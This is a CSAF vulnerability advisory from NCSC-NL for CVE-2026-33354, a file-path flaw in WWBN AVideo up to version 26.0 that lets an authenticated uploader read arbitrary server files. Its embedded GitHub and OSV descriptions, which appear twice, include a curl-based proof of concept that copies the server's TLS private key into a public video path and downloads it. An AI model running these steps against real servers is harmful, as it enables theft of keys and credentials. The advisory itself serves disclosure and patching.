{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33354", "tracking": { "current_release_date": "2026-03-26T00:45:10.386266Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33354", "initial_release_date": "2026-03-21T01:08:17.931365Z", "revision_history": [ { "date": "2026-03-21T01:08:17.931365Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-21T01:08:22.304159Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-23T18:11:07.593841Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-23T18:11:09.936692Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-23T22:50:34.732110Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-23T22:50:42.401364Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-24T20:54:23.976809Z", "number": "7", "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-24T20:54:31.343595Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-03-24T21:37:34.568862Z", "number": "9", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-25T14:38:56.575590Z", "number": "10", "summary": "Unknown change." }, { "date": "2026-03-25T20:11:48.394469Z", "number": "11", "summary": "References created (2)." }, { "date": "2026-03-26T00:44:57.297364Z", "number": "12", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (18).| Product Identifiers created (17).| References created (3).| CWES updated (1)." } ], "status": "interim", "version": "12" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<=26.0", "product": { "name": "vers:unknown/<=26.0", "product_id": "CSAFPID-5893889", "product_identification_helper": { "cpe": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "AVideo" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/10.4", "product": { "name": "vers:unknown/10.4", "product_id": "CSAFPID-5656122", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@10.4" } } }, { "category": "product_version_range", "name": "vers:unknown/10.8", "product": { "name": "vers:unknown/10.8", "product_id": "CSAFPID-5656123", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@10.8" } } }, { "category": "product_version_range", "name": "vers:unknown/11", "product": { "name": "vers:unknown/11", "product_id": "CSAFPID-5656124", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11" } } }, { "category": "product_version_range", "name": "vers:unknown/11.1", "product": { "name": "vers:unknown/11.1", "product_id": "CSAFPID-5656125", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11.1" } } }, { "category": "product_version_range", "name": "vers:unknown/11.1.1", "product": { "name": "vers:unknown/11.1.1", "product_id": "CSAFPID-5656126", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/11.5", "product": { "name": "vers:unknown/11.5", "product_id": "CSAFPID-5656127", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11.5" } } }, { "category": "product_version_range", "name": "vers:unknown/11.6", "product": { "name": "vers:unknown/11.6", "product_id": "CSAFPID-5656128", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@11.6" } } }, { "category": "product_version_range", "name": "vers:unknown/12.4", "product": { "name": "vers:unknown/12.4", "product_id": "CSAFPID-5656129", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@12.4" } } }, { "category": "product_version_range", "name": "vers:unknown/14.3", "product": { "name": "vers:unknown/14.3", "product_id": "CSAFPID-5656130", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@14.3" } } }, { "category": "product_version_range", "name": "vers:unknown/14.3.1", "product": { "name": "vers:unknown/14.3.1", "product_id": "CSAFPID-5656131", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@14.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/14.4", "product": { "name": "vers:unknown/14.4", "product_id": "CSAFPID-5656132", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@14.4" } } }, { "category": "product_version_range", "name": "vers:unknown/18.0", "product": { "name": "vers:unknown/18.0", "product_id": "CSAFPID-5656133", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@18.0" } } }, { "category": "product_version_range", "name": "vers:unknown/21.0", "product": { "name": "vers:unknown/21.0", "product_id": "CSAFPID-5721197", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@21.0" } } }, { "category": "product_version_range", "name": "vers:unknown/22.0", "product": { "name": "vers:unknown/22.0", "product_id": "CSAFPID-5772271", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@22.0" } } }, { "category": "product_version_range", "name": "vers:unknown/24.0", "product": { "name": "vers:unknown/24.0", "product_id": "CSAFPID-5772272", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@24.0" } } }, { "category": "product_version_range", "name": "vers:unknown/25.0", "product": { "name": "vers:unknown/25.0", "product_id": "CSAFPID-5840723", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@25.0" } } }, { "category": "product_version_range", "name": "vers:unknown/26.0", "product": { "name": "vers:unknown/26.0", "product_id": "CSAFPID-5878928", "product_identification_helper": { "purl": "pkg:composer/wwbn/avideo@26.0" } } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<=26.0", "product": { "name": "vers:unknown/>=0|<=26.0", "product_id": "CSAFPID-5878929" } } ], "category": "product_name", "name": "avideo" } ], "category": "vendor", "name": "WWBN" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33354", "cwe": { "id": "CWE-73", "name": "External Control of File Name or Path" }, "notes": [ { "category": "description", "text": "## Summary\n`POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files.\n\nFor an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.\n\nI confirmed this locally by creating an attacker-owned video, then calling `aVideoEncoder.json.php` with `videos_id=`, `format=mp4`, and `chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem`. The resulting public video URL returned the local TLS private key and began with `-----BEGIN PRIVATE KEY-----`.\n\n## Affected Versions / Commit\nTested on local Docker deployment from commit `db12d4c0141d40bfabd1e82577e8c4a3d044cd84`. The application reported version `26.0`.\n\n## Preconditions\n- Authenticated account with upload permission.\n- Attacker owns at least one editable video record.\n- Target local file is readable by the web application user.\n\n## Steps to Reproduce\n1. Log in as an upload-capable low-privileged user.\n2. Create any attacker-owned video via the normal upload endpoint to obtain `videos_id` and `filename`.\n3. Send a POST request to `aVideoEncoder.json.php` with the attacker's own `videos_id`, an allowed `format`, and a server-local `chunkFile` path.\n4. Download the resulting media object from `/videos//.mp4`.\n\n## Proof of Concept\nThe included `poc.py` automates the exploit against the local instance.\n\nManual reproduction:\n\n```bash\n# 1. Login as low-priv uploader\ncurl -s -c attacker.cookies \\\n -d 'user=attacker&pass=UserPass123!' \\\n http://127.0.0.1/objects/login.json.php >/dev/null\n\n# 2. Create an attacker-owned video\nprintf 'x' > poc.mp4\ncurl -s -b attacker.cookies \\\n -F 'upl=@poc.mp4;type=video/mp4' \\\n http://127.0.0.1/view/mini-upload-form/upload.php\n\n# Example response:\n# {\"error\":false,\"title\":\"poc\",\"filename\":\"poc_69bb86db62c308.68438735\",\"videos_id\":4,...}\n\n# 3. Copy a local file into the attacker's public video path\ncurl -s -b attacker.cookies \\\n -d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \\\n http://127.0.0.1/objects/aVideoEncoder.json.php\n\n# 4. Retrieve the copied file over HTTP\ncurl -s \\\n http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head\n```\n\n## Observed Result\nThe final GET returned the contents of the local TLS private key:\n\n```text\n-----BEGIN PRIVATE KEY-----\nMIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...\n```", "title": "github - https://api.github.com/advisories/GHSA-4jw9-5hrc-m4j6" }, { "category": "description", "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, `POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files. For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP. Commit 59bbd601a3f65a5b18c1d9e4eb11471c0a59214f contains a patch for the issue.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33354.json" }, { "category": "description", "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, `POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files. For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP. Commit 59bbd601a3f65a5b18c1d9e4eb11471c0a59214f contains a patch for the issue.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33354" }, { "category": "description", "text": "## Summary\n`POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files.\n\nFor an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.\n\nI confirmed this locally by creating an attacker-owned video, then calling `aVideoEncoder.json.php` with `videos_id=`, `format=mp4`, and `chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem`. The resulting public video URL returned the local TLS private key and began with `-----BEGIN PRIVATE KEY-----`.\n\n## Affected Versions / Commit\nTested on local Docker deployment from commit `db12d4c0141d40bfabd1e82577e8c4a3d044cd84`. The application reported version `26.0`.\n\n## Preconditions\n- Authenticated account with upload permission.\n- Attacker owns at least one editable video record.\n- Target local file is readable by the web application user.\n\n## Steps to Reproduce\n1. Log in as an upload-capable low-privileged user.\n2. Create any attacker-owned video via the normal upload endpoint to obtain `videos_id` and `filename`.\n3. Send a POST request to `aVideoEncoder.json.php` with the attacker's own `videos_id`, an allowed `format`, and a server-local `chunkFile` path.\n4. Download the resulting media object from `/videos//.mp4`.\n\n## Proof of Concept\nThe included `poc.py` automates the exploit against the local instance.\n\nManual reproduction:\n\n```bash\n# 1. Login as low-priv uploader\ncurl -s -c attacker.cookies \\\n -d 'user=attacker&pass=UserPass123!' \\\n http://127.0.0.1/objects/login.json.php >/dev/null\n\n# 2. Create an attacker-owned video\nprintf 'x' > poc.mp4\ncurl -s -b attacker.cookies \\\n -F 'upl=@poc.mp4;type=video/mp4' \\\n http://127.0.0.1/view/mini-upload-form/upload.php\n\n# Example response:\n# {\"error\":false,\"title\":\"poc\",\"filename\":\"poc_69bb86db62c308.68438735\",\"videos_id\":4,...}\n\n# 3. Copy a local file into the attacker's public video path\ncurl -s -b attacker.cookies \\\n -d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \\\n http://127.0.0.1/objects/aVideoEncoder.json.php\n\n# 4. Retrieve the copied file over HTTP\ncurl -s \\\n http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head\n```\n\n## Observed Result\nThe final GET returned the contents of the local TLS private key:\n\n```text\n-----BEGIN PRIVATE KEY-----\nMIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...\n```", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-4jw9-5hrc-m4j6.json?alt=media" }, { "category": "other", "text": "0.00041", "title": "EPSS" }, { "category": "other", "text": "3.9", "title": "NCSC Score" }, { "category": "other", "text": "Is related to CWE-73 (External Control of File Name or Path)", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5893889", "CSAFPID-5656122", "CSAFPID-5656123", "CSAFPID-5656124", "CSAFPID-5656125", "CSAFPID-5656126", "CSAFPID-5656127", "CSAFPID-5656128", "CSAFPID-5656129", "CSAFPID-5656130", "CSAFPID-5656131", "CSAFPID-5656132", "CSAFPID-5656133", "CSAFPID-5721197", "CSAFPID-5772271", "CSAFPID-5772272", "CSAFPID-5840723", "CSAFPID-5878928", "CSAFPID-5878929" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-4jw9-5hrc-m4j6" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33354.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33354" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-4jw9-5hrc-m4j6.json?alt=media" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-4jw9-5hrc-m4j6" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-4jw9-5hrc-m4j6" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/WWBN/AVideo/commit/59bbd601a3f65a5b18c1d9e4eb11471c0a59214f" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33354" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-5656122", "CSAFPID-5656123", "CSAFPID-5656124", "CSAFPID-5656125", "CSAFPID-5656126", "CSAFPID-5656127", "CSAFPID-5656128", "CSAFPID-5656129", "CSAFPID-5656130", "CSAFPID-5656131", "CSAFPID-5656132", "CSAFPID-5656133", "CSAFPID-5721197", "CSAFPID-5772271", "CSAFPID-5772272", "CSAFPID-5840723", "CSAFPID-5878928", "CSAFPID-5878929", "CSAFPID-5893889" ] } ], "title": "CVE-2026-33354" } ] }